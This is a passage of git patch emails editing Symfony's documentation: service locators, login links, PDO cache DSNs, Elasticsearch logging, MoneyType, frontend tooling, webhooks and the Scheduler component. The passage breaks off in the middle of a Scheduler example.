 service_container/service_subscribers_locators.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index 897a82f8195..31a9fa55f3b 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -110,16 +110,15 @@ in the service subscriber::
     that you have :ref:`autoconfigure <services-autoconfigure>` enabled. You
     can also manually add the ``container.service_subscriber`` tag.
 
-A service locator is a PSR11 container that contains a set of services,
-but only instantiates them when they are actually used. Let's take a closer
-look at this part::
+A service locator is a `PSR-11 container`_ that contains a set of services,
+but only instantiates them when they are actually used. Consider the following code::
 
     // ...
     $handler = $this->locator->get($commandClass);
 
     return $handler->handle($command);
 
-In the example above, the ``$handler`` service is only instantiated when the
+In this example, the ``$handler`` service is only instantiated when the
 ``$this->locator->get($commandClass)`` method is called.
 
 You can also type-hint the service locator argument with
@@ -1066,3 +1065,4 @@ Another alternative is to mock it using ``PHPUnit``::
     // ...
 
 .. _`Command pattern`: https://en.wikipedia.org/wiki/Command_pattern
+.. _`PSR-11 container`: https://www.php-fig.org/psr/psr-11/

From 39d4c2cdae839af8e1b67563c884ca0670e904a3 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 12 Jan 2024 17:37:05 +0100
Subject: [PATCH 5644/7107] Tweak

---
 security/login_link.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/security/login_link.rst b/security/login_link.rst
index df4ac801dcd..6cd8ce682d1 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -28,8 +28,8 @@ this is not yet the case.
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 The login link authenticator is configured using the ``login_link`` option
-under the firewall. You must configure a ``check_route`` with a route name
-and ``signature_properties`` when enabling this authenticator:
+under the firewall and requires defining two options called ``check_route``
+and ``signature_properties`` (explained below):
 
 .. configuration-block::
 
@@ -82,7 +82,7 @@ contain at least one property of your ``User`` object that uniquely
 identifies this user (e.g. the user ID). Read more about this setting
 :ref:`further down below <security-login-link-signature>`.
 
-The ``check_route`` must be an existing route and it will be used to
+The ``check_route`` must be the name of an existing route and it will be used to
 generate the login link that will authenticate the user. You don't need a
 controller (or it can be empty) because the login link authenticator will
 intercept requests to this route:

From 1bd553588da3450112c6e51f93baa29cf9cb0f1f Mon Sep 17 00:00:00 2001
From: HypeMC <hypemc@gmail.com>
Date: Fri, 12 Jan 2024 19:30:48 +0100
Subject: [PATCH 5645/7107] [Cache] Document using DSN with PDOAdapter

---
 cache.rst | 29 ++++++++---------------------
 1 file changed, 8 insertions(+), 21 deletions(-)

diff --git a/cache.rst b/cache.rst
index 98ec11123fc..d1da8c87560 100644
--- a/cache.rst
+++ b/cache.rst
@@ -133,12 +133,7 @@ Some of these adapters could be configured via shortcuts.
                 default_psr6_provider: 'app.my_psr6_service'
                 default_redis_provider: 'redis://localhost'
                 default_memcached_provider: 'memcached://localhost'
-                default_pdo_provider: 'app.my_pdo_service'
-
-        services:
-            app.my_pdo_service:
-                class: \PDO
-                arguments: ['pgsql:host=localhost']
+                default_pdo_provider: 'pgsql:host=localhost'
 
     .. code-block:: xml
 
@@ -159,24 +154,17 @@ Some of these adapters could be configured via shortcuts.
                     default-psr6-provider="app.my_psr6_service"
                     default-redis-provider="redis://localhost"
                     default-memcached-provider="memcached://localhost"
-                    default-pdo-provider="app.my_pdo_service"
+                    default-pdo-provider="pgsql:host=localhost"
                 />
             </framework:config>
-
-            <services>
-                <service id="app.my_pdo_service" class="\PDO">
-                    <argument>pgsql:host=localhost</argument>
-                </service>
-            </services>
         </container>
 
     .. code-block:: php
 
         // config/packages/cache.php
-        use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework, ContainerConfigurator $container): void {
+        return static function (FrameworkConfig $framework): void {
             $framework->cache()
                 // Only used with cache.adapter.filesystem
                 ->directory('%kernel.cache_dir%/pools')
@@ -185,15 +173,14 @@ Some of these adapters could be configured via shortcuts.
                 ->defaultPsr6Provider('app.my_psr6_service')
                 ->defaultRedisProvider('redis://localhost')
                 ->defaultMemcachedProvider('memcached://localhost')
-                ->defaultPdoProvider('app.my_pdo_service')
-            ;
-
-            $container->services()
-                ->set('app.my_pdo_service', \PDO::class)
-                ->args(['pgsql:host=localhost'])
+                ->defaultPdoProvider('pgsql:host=localhost')
             ;
         };
 
+.. versionadded:: 7.1
+
+    Using a DSN as the provider for the PDO adapter was introduced in Symfony 7.1.
+
 .. _cache-create-pools:
 
 Creating Custom (Namespaced) Pools

From 07a9c8b3a2ce4bcf8dd3fadf062a9a683af669bf Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sun, 14 Jan 2024 16:35:45 +0100
Subject: [PATCH 5646/7107] Update ElasticsearchLogstashHandler documentation

---
 logging/handlers.rst | 78 +++++++++++++++++++++++++++++++++++++++-----
 1 file changed, 69 insertions(+), 9 deletions(-)

diff --git a/logging/handlers.rst b/logging/handlers.rst
index 8821113405e..37ad7ca0269 100644
--- a/logging/handlers.rst
+++ b/logging/handlers.rst
@@ -8,14 +8,6 @@ This handler deals directly with the HTTP interface of Elasticsearch. This means
 it will slow down your application if Elasticsearch takes time to answer. Even
 if all HTTP calls are done asynchronously.
 
-In a development environment, it's fine to keep the default configuration: for
-each log, an HTTP request will be made to push the log to Elasticsearch.
-
-In a production environment, it's highly recommended to wrap this handler in a
-handler with buffering capabilities (like the ``FingersCrossedHandler`` or
-``BufferHandler``) in order to call Elasticsearch only once with a bulk push. For
-even better performance and fault tolerance, a proper `ELK stack`_ is recommended.
-
 To use it, declare it as a service:
 
 .. configuration-block::
@@ -87,7 +79,10 @@ To use it, declare it as a service:
 
     The ``$elasticsearchVersion`` argument was introduced in Symfony 5.4.
 
-Then reference it in the Monolog configuration:
+Then reference it in the Monolog configuration.
+
+In a development environment, it's fine to keep the default configuration: for
+each log, an HTTP request will be made to push the log to Elasticsearch:
 
 .. configuration-block::
 
@@ -134,4 +129,69 @@ Then reference it in the Monolog configuration:
             ;
         };
 
+In a production environment, it's highly recommended to wrap this handler in a
+handler with buffering capabilities (like the `FingersCrossedHandler`_ or
+`BufferHandler`_) in order to call Elasticsearch only once with a bulk push. For
+even better performance and fault tolerance, a proper `ELK stack`_ is recommended.
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/prod/monolog.yaml
+        monolog:
+            handlers:
+                main:
+                    type: fingers_crossed
+                    handler: es
+
+                es:
+                    type: service
+                    id: Symfony\Bridge\Monolog\Handler\ElasticsearchLogstashHandler
+
+    .. code-block:: xml
+
+        <!-- config/packages/prod/monolog.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:monolog="http://symfony.com/schema/dic/monolog"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/monolog
+                https://symfony.com/schema/dic/monolog/monolog-1.0.xsd">
+
+            <monolog:config>
+                <monolog:handler
+                    name="main"
+                    type="fingers_crossed"
+                    handler="es"
+                />
+                <monolog:handler
+                    name="es"
+                    type="service"
+                    id="Symfony\Bridge\Monolog\Handler\ElasticsearchLogstashHandler"
+                />
+            </monolog:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/prod/monolog.php
+        use Symfony\Bridge\Monolog\Handler\ElasticsearchLogstashHandler;
+        use Symfony\Config\MonologConfig;
+
+        return static function (MonologConfig $monolog): void {
+            $monolog->handler('main')
+                ->type('fingers_crossed')
+                ->handler('es')
+            ;
+            $monolog->handler('es')
+                ->type('service')
+                ->id(ElasticsearchLogstashHandler::class)
+            ;
+        };
+
+.. _`BufferHandler`: https://github.com/Seldaek/monolog/blob/main/src/Monolog/Handler/BufferHandler.php
 .. _`ELK stack`: https://www.elastic.co/what-is/elk-stack
+.. _`FingersCrossedHandler`: https://github.com/Seldaek/monolog/blob/main/src/Monolog/Handler/FingersCrossedHandler.php

From f3ca92f7a685928b9f1a5895a584f0dce0981ecc Mon Sep 17 00:00:00 2001
From: Simon <smn.andre@gmail.com>
Date: Mon, 15 Jan 2024 09:15:18 +0100
Subject: [PATCH 5647/7107] [Validator] Fix mb_detect_encoding link in Charset

Fix mb_detect_encoding link sending to 404 ( https://www.php.net/manual/en/function.mb-detect-encoding().php )
---
 reference/constraints/Charset.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/constraints/Charset.rst b/reference/constraints/Charset.rst
index 278ea570831..4f1a260356f 100644
--- a/reference/constraints/Charset.rst
+++ b/reference/constraints/Charset.rst
@@ -89,7 +89,7 @@ Options
 An encoding or a set of encodings to check against. If you pass an array of
 encodings, the validator will check if the value is encoded in *any* of the
 encodings. This option accepts any value that can be passed to
-:phpfunction:`mb_detect_encoding()`.
+:phpfunction:`mb_detect_encoding`.
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 

From 43862c49f30e0428d6c02fa5bd63cb2dea34fce1 Mon Sep 17 00:00:00 2001
From: Maxime Doutreluingne <maxime.doutreluingne@gmail.com>
Date: Sat, 30 Dec 2023 16:21:22 +0100
Subject: [PATCH 5648/7107] [Form] Add `model_type` option to `MoneyType`

---
 reference/forms/types/money.rst | 12 ++++++++++++
 1 file changed, 12 insertions(+)

diff --git a/reference/forms/types/money.rst b/reference/forms/types/money.rst
index 9f98b49158b..65f24ac93a3 100644
--- a/reference/forms/types/money.rst
+++ b/reference/forms/types/money.rst
@@ -76,6 +76,18 @@ If set to ``true``, the HTML input will be rendered as a native HTML5
 
     As HTML5 number format is normalized, it is incompatible with ``grouping`` option.
 
+model_type
+~~~~~~~~~~
+
+**type**: ``string`` **default**: ``float``
+
+If, for some reason, you need the value to be converted to an ``integer`` instead of a ``float``,
+you can set the option value to ``integer``.
+
+.. versionadded:: 7.1
+
+    The ``model_type`` option was introduced in Symfony 7.1.
+
 scale
 ~~~~~
 

From 6b55e576c16edbd75dd2477435b52636cf3567cd Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 15 Jan 2024 13:27:16 +0100
Subject: [PATCH 5649/7107] Minor reword

---
 reference/forms/types/money.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/reference/forms/types/money.rst b/reference/forms/types/money.rst
index 65f24ac93a3..8e2130a5909 100644
--- a/reference/forms/types/money.rst
+++ b/reference/forms/types/money.rst
@@ -81,8 +81,9 @@ model_type
 
 **type**: ``string`` **default**: ``float``
 
-If, for some reason, you need the value to be converted to an ``integer`` instead of a ``float``,
-you can set the option value to ``integer``.
+By default, the money value is converted to a ``float`` PHP type. If you need the
+value to be converted into an integer (e.g. because some library needs money
+values stored in cents as integers) set this option to ``integer``.
 
 .. versionadded:: 7.1
 

From 12fa4a491a82f98133628ed0ccc8f2a7cae535a9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 15 Jan 2024 13:47:46 +0100
Subject: [PATCH 5650/7107] Minor tweak

---
 controller/service.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/controller/service.rst b/controller/service.rst
index fff46377378..d7a263e7206 100644
--- a/controller/service.rst
+++ b/controller/service.rst
@@ -58,7 +58,6 @@ in method parameters:
             calls:
                 - [setContainer, ['@abstract_controller.locator']]
 
-
 If you prefer, you can use the ``#[AsController]`` PHP attribute to automatically
 apply the ``controller.service_arguments`` tag to your controller services::
 

From 3402d4fc4182b0a54325134d1ed59f8c844fba80 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 15 Jan 2024 14:51:57 +0100
Subject: [PATCH 5651/7107] Update frontend.rst: Minor

---
 frontend.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend.rst b/frontend.rst
index e9591654212..6257f5a9f8b 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -5,7 +5,7 @@ Symfony gives you the flexibility to choose any front-end tools you want. There
 are generally two approaches:
 
 #. :ref:`building your HTML with PHP & Twig <frontend-twig-php>`;
-#. :ref:`building your frontend with a JavaScript framework <frontend-js>` like React.
+#. :ref:`building your frontend with a JavaScript framework <frontend-js>` like React, Vue, Svelte, etc.
 
 Both work great - and are discussed below.
 

From 4e80e0bb0ea2bb78434264b3a2a2095f8fc35556 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 15 Jan 2024 15:03:39 +0100
Subject: [PATCH 5652/7107] [Frontend] Removing praise

... especially for Webpack, since AssetMapper is the recommended way ;-)
---
 frontend.rst | 16 ++++++++--------
 1 file changed, 8 insertions(+), 8 deletions(-)

diff --git a/frontend.rst b/frontend.rst
index e9591654212..d76306076ab 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -15,7 +15,7 @@ Using PHP & Twig
 ----------------
 
 Symfony comes with two powerful options to help you build a modern,
-fast frontend, *and* enjoy the process:
+fast frontend:
 
 * :ref:`AssetMapper <frontend-asset-mapper>` (recommended for new projects) runs
   entirely in PHP, doesn't require any build step and leverages modern web standards.
@@ -51,7 +51,7 @@ AssetMapper (Recommended)
 ~~~~~~~~~~~~~~~~~~~~~~~~~
 
 AssetMapper is the recommended system for handling your assets. It runs entirely
-in PHP with *no* complex build step or dependencies. It does this by leveraging
+in PHP with no complex build step or dependencies. It does this by leveraging
 the ``importmap`` feature of your browser, which is available in all browsers thanks
 to a polyfill.
 
@@ -66,21 +66,21 @@ Webpack Encore
 
     Do you prefer video tutorials? Check out the `Webpack Encore screencast series`_.
 
-`Webpack Encore`_ is a simpler way to integrate `Webpack`_ into your application.
-It *wraps* Webpack, giving you a clean & powerful API for bundling JavaScript modules,
-pre-processing CSS & JS and compiling and minifying assets. Encore gives you a professional
-asset system that's a *delight* to use.
+`Webpack Encore`_ is a simpler way to integrate `Webpack`_ (a professional
+asset system) into your application.
+It wraps Webpack, giving you a clean & powerful API for bundling JavaScript modules,
+pre-processing CSS & JS and compiling and minifying assets.
 
 :doc:`Read the Encore Documentation </frontend/encore/index>`
 
 Stimulus & Symfony UX Components
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Once you've installed AssetMapper or Encore, it's time to start building your
+Once you've installed AssetMapper or Webpack Encore, it's time to start building your
 front-end. You can write your JavaScript however you want, but we recommend
 using `Stimulus`_, `Turbo`_ and a set of tools called `Symfony UX`_.
 
-To learn about Stimulus & the UX Components, see:
+To learn about Stimulus & the UX Components, see
 the `StimulusBundle Documentation`_
 
 .. _frontend-js:

From 5a8ef9e257699919b569a84eb62607498c1e7657 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 15 Jan 2024 16:50:52 +0100
Subject: [PATCH 5653/7107] Tweaks

---
 frontend.rst | 6 ++----
 1 file changed, 2 insertions(+), 4 deletions(-)

diff --git a/frontend.rst b/frontend.rst
index d76306076ab..09c086515e9 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -14,8 +14,7 @@ Both work great - and are discussed below.
 Using PHP & Twig
 ----------------
 
-Symfony comes with two powerful options to help you build a modern,
-fast frontend:
+Symfony comes with two powerful options to help you build a modern and fast frontend:
 
 * :ref:`AssetMapper <frontend-asset-mapper>` (recommended for new projects) runs
   entirely in PHP, doesn't require any build step and leverages modern web standards.
@@ -66,8 +65,7 @@ Webpack Encore
 
     Do you prefer video tutorials? Check out the `Webpack Encore screencast series`_.
 
-`Webpack Encore`_ is a simpler way to integrate `Webpack`_ (a professional
-asset system) into your application.
+`Webpack Encore`_ is a simpler way to integrate `Webpack`_ into your application.
 It wraps Webpack, giving you a clean & powerful API for bundling JavaScript modules,
 pre-processing CSS & JS and compiling and minifying assets.
 

From 534babdf8febf71c7044ccf62d07e62ce18cfa24 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Tue, 16 Jan 2024 08:32:47 +0100
Subject: [PATCH 5654/7107] Tweak docs for Webhooks

---
 webhook.rst | 71 ++++++++++++++++++++++++++++-------------------------
 1 file changed, 38 insertions(+), 33 deletions(-)

diff --git a/webhook.rst b/webhook.rst
index ded720ff75b..0e68824c2dd 100644
--- a/webhook.rst
+++ b/webhook.rst
@@ -19,17 +19,26 @@ Installation
 Usage in Combination with the Mailer Component
 ----------------------------------------------
 
-When using a third-party mailer, you can use the Webhook component to receive
-webhook calls from the third-party mailer.
+When using a third-party mailer provider, you can use the Webhook component to
+receive webhook calls from this provider.
 
-In this example Mailgun is used with ``'mailer_mailgun'`` as the webhook type.
-Any type name can be used as long as it is unique. Make sure to use it in the
-routing configuration, the webhook URL and the RemoteEvent consumer.
+Currently, the following third-party mailer providers support webhooks:
 
-Install the third-party mailer as described in the documentation of the
-:ref:`Mailer component <mailer_3rd_party_transport>`.
+=============== ==========================================
+Mailer service  Parser service name
+=============== ==========================================
+Mailgun         ``mailer.webhook.request_parser.mailgun``
+Postmark        ``mailer.webhook.request_parser.postmark``
+=============== ==========================================
+
+.. note::
+
+    Install the third-party mailer provider you want to use as described in the
+    documentation of the :ref:`Mailer component <mailer_3rd_party_transport>`.
+    Mailgun is used as the provider in this document as an example.
 
-The Webhook component routing needs to be defined:
+To connect the provider to your application, you need to configure the Webhook
+component routing:
 
 .. configuration-block::
 
@@ -77,27 +86,27 @@ The Webhook component routing needs to be defined:
             ;
         };
 
-Currently, the following third-party mailer services support webhooks:
+In this example, we are using ``mailer_mailgun`` as the webhook routing name.
+The routing name must be unique as this is what connects the provider with your
+webhook consumer code.
 
-=============== ==========================================
-Mailer service  Parser service name
-=============== ==========================================
-Mailgun         ``mailer.webhook.request_parser.mailgun``
-Postmark        ``mailer.webhook.request_parser.postmark``
-=============== ==========================================
-
-Set up the webhook in the third-party mailer. For Mailgun, you can do this
-in the control panel. As URL, make sure to use the ``/webhook/mailer_mailgun``
-path behind the domain you're using.
+The webhook routing name is part of the URL you need to configure at the
+third-party mailer provider. The URL is the concatenation of your domain name
+and the routing name you chose in the configuration (like
+``https://example.com/webhook/mailer_mailgun``.
 
-Mailgun will provide a secret for the webhook. Add this secret to your ``.env``
-file:
+For Mailgun, you will get a secret for the webhook. Store this secret as
+MAILER_MAILGUN_SECRET (in the :doc:`secrets management system
+</configuration/secrets>` or in a ``.env`` file).
 
-.. code-block:: env
+When done, add a :class:`Symfony\\Component\\RemoteEvent\\RemoteEvent` consumer
+to react to incoming webhooks (the webhook routing name is what connects your
+class to the provider).
 
-    MAILER_MAILGUN_SECRET=your_secret
-
-With this done, you can now add a RemoteEvent consumer to react to the webhooks::
+For mailer webhooks, react to the
+:class:`Symfony\\Component\\RemoteEvent\\Event\\Mailer\\MailerDeliveryEvent` or
+:class:`Symfony\\Component\\RemoteEvent\\Event\\Mailer\\MailerEngagementEvent`
+events::
 
     use Symfony\Component\RemoteEvent\Attribute\AsRemoteEventConsumer;
     use Symfony\Component\RemoteEvent\Consumer\ConsumerInterface;
@@ -145,12 +154,8 @@ SMS service  Parser service name
 Twilio       ``notifier.webhook.request_parser.twilio``
 ============ ==========================================
 
-.. versionadded:: 6.3
-
-    The support for Twilio was introduced in Symfony 6.3.
-
-For SMS transports, an additional ``SmsEvent`` is available in the RemoteEvent
-consumer::
+For SMS webhooks, react to the
+:class:`Symfony\\Component\\RemoteEvent\\Event\\Sms\\SmsEvent` event::
 
     use Symfony\Component\RemoteEvent\Attribute\AsRemoteEventConsumer;
     use Symfony\Component\RemoteEvent\Consumer\ConsumerInterface;
@@ -165,13 +170,13 @@ consumer::
             if ($event instanceof SmsEvent) {
                 $this->handleSmsEvent($event);
             } else {
-                // This is not an sms event
+                // This is not an SMS event
                 return;
             }
         }
 
         private function handleSmsEvent(SmsEvent $event): void
         {
-            // Handle the sms event
+            // Handle the SMS event
         }
     }

From 416201ceb70e0ffa77c282425193258e162255c1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 16 Jan 2024 11:47:27 +0100
Subject: [PATCH 5655/7107] Tweaks and rewords of the new Scheduler docs

---
 scheduler.rst | 269 +++++++++++++++++++++++++-------------------------
 1 file changed, 135 insertions(+), 134 deletions(-)

diff --git a/scheduler.rst b/scheduler.rst
index cebf6b0810f..16728b9e636 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -5,11 +5,16 @@ Scheduler
 
     The Scheduler component was introduced in Symfony 6.3
 
-Scheduler is a component designed to manage task scheduling within your PHP application - like running a task each night at 3 am, every 2 weeks except for holidays or any schedule you can imagine.
+The scheduler component manages task scheduling within your PHP application, like
+running a task each night at 3 AM, every two weeks except for holidays or any
+other custom schedule you might need.
 
-This component proves highly beneficial for tasks such as database cleanup, automated maintenance (e.g., cache clearing), background processing (queue handling, data synchronization), periodic data updates, or even scheduled notifications (emails, alerts), and more.
+This component is useful to schedule tasks like maintenance (database cleanup,
+cache clearing, etc.), background processing (queue handling, data synchronization,
+etc.), periodic data updates, scheduled notifications (emails, alerts), and more.
 
-This document focuses on using the Scheduler component in the context of a full stack Symfony application.
+This document focuses on using the Scheduler component in the context of a full
+stack Symfony application.
 
 Installation
 ------------
@@ -21,44 +26,22 @@ install the scheduler component:
 
     $ composer require symfony/scheduler
 
-
-Introduction to the case
-------------------------
-
-Embarking on a task is one thing, but often, the need to repeat that task looms large.
-While one could resort to issuing commands and scheduling them with cron jobs, this approach involves external tools and additional configuration.
-
-The Scheduler component emerges as a solution, allowing you to retain control, configuration, and maintenance of task scheduling within our PHP application.
-
-At its core, scheduler allows you to create a task (called a message) that is executed by a service and repeated on some schedule.
-Does this sound familiar? Think :doc:`Symfony Messenger docs </components/messenger>`.
-
-But while the system of Messenger proves very useful in various scenarios, there are instances where its capabilities
-fall short, particularly when dealing with repetitive tasks at regular intervals.
-
-Let's dive into a practical example within the context of a sales company.
-
-Imagine the company's goal is to send diverse sales reports to customers based on the specific reports each customer chooses to receive.
-In constructing the schedule for this scenario, the following steps are taken:
-
-#. Iterate over reports stored in the database and create a recurring task for each report, considering its unique properties. This task, however, should not be generated during holiday periods.
-
-#. Furthermore, you encounter another critical task that needs scheduling: the periodic cleanup of outdated files that are no longer relevant.
-
-On the basis of a case study in the context of a full stack Symfony application, let's dive in and explore how you can set up your system.
-
-Symfony Scheduler basics
+Symfony Scheduler Basics
 ------------------------
 
-Differences and parallels between Messenger and Scheduler
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+The main benefit of using this component is that automation is managed by your
+application, which gives you a lot of flexibility that is not possible with cron
+jobs (e.g. dynamic schedules based on certain conditions).
 
-The primary goal is to generate and process reports generation while also handling the removal of outdated reports at specified intervals.
+At its core, the Scheduler component allows you to create a task (called a message)
+that is executed by a service and repeated on some schedule. It has some similarities
+with the :doc:`Symfony Messenger </components/messenger>` component (such as message,
+handler, bus, transport, etc.), but the main difference is that Messenger can't
+deal with repetitive tasks at regular intervals.
 
-As mentioned, this component, even if it's an independent component, it draws its foundation and inspiration from the Messenger component.
-
-On one hand, it adopts well-established concepts from Messenger (such as message, handler, bus, transport, etc.).
-For example, the task of creating a report is considered as a message by the Scheduler, that will be directed, and processed by the corresponding handler.::
+Consider the following example of an application that sends some reports to
+customers on a scheduled basis. First, create a Scheduler message that represents
+the task of creating a report::
 
     // src/Scheduler/Message/SendDailySalesReports.php
     namespace App\Scheduler\Message;
@@ -73,6 +56,8 @@ For example, the task of creating a report is considered as a message by the Sch
         }
     }
 
+Next, create the handler that processes that kind of message::
+
     // src/Scheduler/Handler/SendDailySalesReportsHandler.php
     namespace App\Scheduler\Handler;
 
@@ -81,37 +66,44 @@ For example, the task of creating a report is considered as a message by the Sch
     {
         public function __invoke(SendDailySalesReports $message)
         {
-            // ... do some work - Send the report to the relevant individuals. !
+            // ... do some work to send the report to the customers
         }
     }
 
-However, unlike Messenger, the messages will not be dispatched in the first instance. Instead, the aim is to create them based on a predefined frequency.
+Instead of sending these messages immediately (as in the Messenger component),
+the goal is to create them based on a predefined frequency. This is possible
+thanks to :class:`Symfony\\Component\\Scheduler\\Messenger\\SchedulerTransport`,
+a special transport for Scheduler messages.
 
-This is where the specific transport in Scheduler, known as the :class:`Symfony\\Component\\Scheduler\\Messenger\\SchedulerTransport`, plays a crucial role.
-The transport autonomously generates directly various messages according to the assigned frequencies.
+The transport generates, autonomously, various messages according to the assigned
+frequencies. The following images illustrate the differences between the
+processing of messages in Messenger and Scheduler components:
 
-From (Messenger cycle):
+In Messenger:
 
 .. image:: /_images/components/messenger/basic_cycle.png
     :alt: Symfony Messenger basic cycle
 
-To (Scheduler cycle):
+In Scheduler:
 
 .. image:: /_images/components/scheduler/scheduler_cycle.png
     :alt: Symfony Scheduler basic cycle
 
-In Scheduler, the concept of a message takes on a very particular characteristic;
-it should be recurrent: It's a :class:`Symfony\\Component\\Scheduler\\RecurringMessage`.
+Another important difference is that messages in the Scheduler component are
+recurring. They are represented via the :class:`Symfony\\Component\\Scheduler\\RecurringMessage`
+class.
 
-Attach Recurring Messages to a Schedule
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Attaching Recurring Messages to a Schedule
+------------------------------------------
 
-In order to generate various messages based on their defined frequencies, configuration is necessary.
-The heart of the scheduling process and its configuration resides in a class that must extend the :class:`Symfony\\Component\\Scheduler\\ScheduleProviderInterface`.
+The configuration of the message frequency is stored in a class that implements
+:class:`Symfony\\Component\\Scheduler\\ScheduleProviderInterface`. This provider
+uses the method :method:`Symfony\\Component\\Scheduler\\ScheduleProviderInterface::getSchedule`
+to return a schedule containing the different recurring messages.
 
-The purpose of this provider is to return a schedule through the method :method:`Symfony\\Component\\Scheduler\\ScheduleProviderInterface::getSchedule` containing your different recurringMessages.
-
-The :class:`Symfony\\Component\\Scheduler\\Attribute\\AsSchedule` attribute, which by default references the ``default`` named schedule, allows you to register on a particular schedule::
+The :class:`Symfony\\Component\\Scheduler\\Attribute\\AsSchedule` attribute,
+which by default references the schedule named ``default``, allows you to register
+on a particular schedule::
 
     // src/Scheduler/MyScheduleProvider.php
     namespace App\Scheduler;
@@ -127,57 +119,64 @@ The :class:`Symfony\\Component\\Scheduler\\Attribute\\AsSchedule` attribute, whi
 
 .. tip::
 
-    By default, if not specified, the schedule name will be ``default``.
-    In Scheduler, the name of the transport is formed as follows: ``scheduler_nameofyourschedule``.
+    By default, the schedule name is ``default`` and the transport name follows
+    the syntax: ``scheduler_nameofyourschedule`` (e.g. ``scheduler_default``).
 
 .. tip::
 
-    It is a good practice to memoize your schedule to prevent unnecessary reconstruction if the ``getSchedule`` method is checked by another service or internally within Symfony
-
+    `Memoizing`_ your schedule is a good practice to prevent unnecessary reconstruction
+    if the ``getSchedule()`` method is checked by another service.
 
 Scheduling Recurring Messages
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+-----------------------------
 
-First and foremost, a RecurringMessage is a message that will be associated with a trigger.
+A ``RecurringMessage`` is a message associated with a trigger, which configures
+the frequency of the message. Symfony provides different types of triggers:
 
-The trigger is what allows configuring the recurrence frequency of your message. Several options are available to us:
+Cron Expression Triggers
+~~~~~~~~~~~~~~~~~~~~~~~~
 
-#. It can be a cron expression trigger:
+It uses the same syntax as the `cron command-line utility`_::
 
-.. configuration-block::
+    RecurringMessage::cron('* * * * *', new Message());
 
-    .. code-block:: php
+Before using it, you must install the following dependency:
 
-        RecurringMessage::cron(‘* * * * *’, new Message());
+.. code-block:: terminal
 
-.. tip::
+    composer require dragonmantank/cron-expression
 
-    `dragonmantank/cron-expression`_ is required to use the cron expression trigger.
+.. tip::
 
-    Also, `crontab_helper`_ is a good tool if you need help to construct/understand cron expressions
+    Check out the `crontab.guru website`_ if you need help to construct/understand
+    cron expressions.
 
 .. versionadded:: 6.4
 
     Since version 6.4, it is now possible to add and define a timezone as a 3rd argument
 
-#. It can be a periodical trigger through various frequency formats (string / integer / DateInterval)
+Periodical Triggers
+~~~~~~~~~~~~~~~~~~~
 
-.. configuration-block::
+These triggers allows to configure the frequency using different data types
+(``string``, ``integer``, ``DateInterval``). They also support the `relative formats`_
+defined by PHP datetime functions::
 
-    .. code-block:: php
+    RecurringMessage::every('10 seconds', new Message());
+    RecurringMessage::every('3 weeks', new Message());
+    RecurringMessage::every('first Monday of next month', new Message());
 
-        RecurringMessage::every('10 seconds', new Message());
-        RecurringMessage::every('3 weeks', new Message());
-        RecurringMessage::every('first Monday of next month', new Message());
+    $from = new \DateTimeImmutable('13:47', new \DateTimeZone('Europe/Paris'));
+    $until = '2023-06-12';
+    RecurringMessage::every('first Monday of next month', new Message(), $from, $until);
 
-        $from = new \DateTimeImmutable('13:47', new \DateTimeZone('Europe/Paris'));
-        $until = '2023-06-12';
-        RecurringMessage::every('first Monday of next month', new Message(), $from, $until);
+Custom Triggers
+~~~~~~~~~~~~~~~
 
-#. It can be a custom trigger implementing :class:`Symfony\\Component\\Scheduler\\TriggerInterface`
+Custom triggers allow to configure any frequency dynamically. They are created
+as services that implement :class:`Symfony\\Component\\Scheduler\\TriggerInterface`.
 
-If you go back to your scenario regarding reports generation based on your customer preferences.
-If the basic frequency is set to a daily basis, you will need to implement a custom trigger due to the specific requirement of not generating reports during public holiday periods::
+For example, if you want to send customer reports daily except for holiday periods::
 
     // src/Scheduler/Trigger/NewUserWelcomeEmailHandler.php
     namespace App\Scheduler\Trigger;
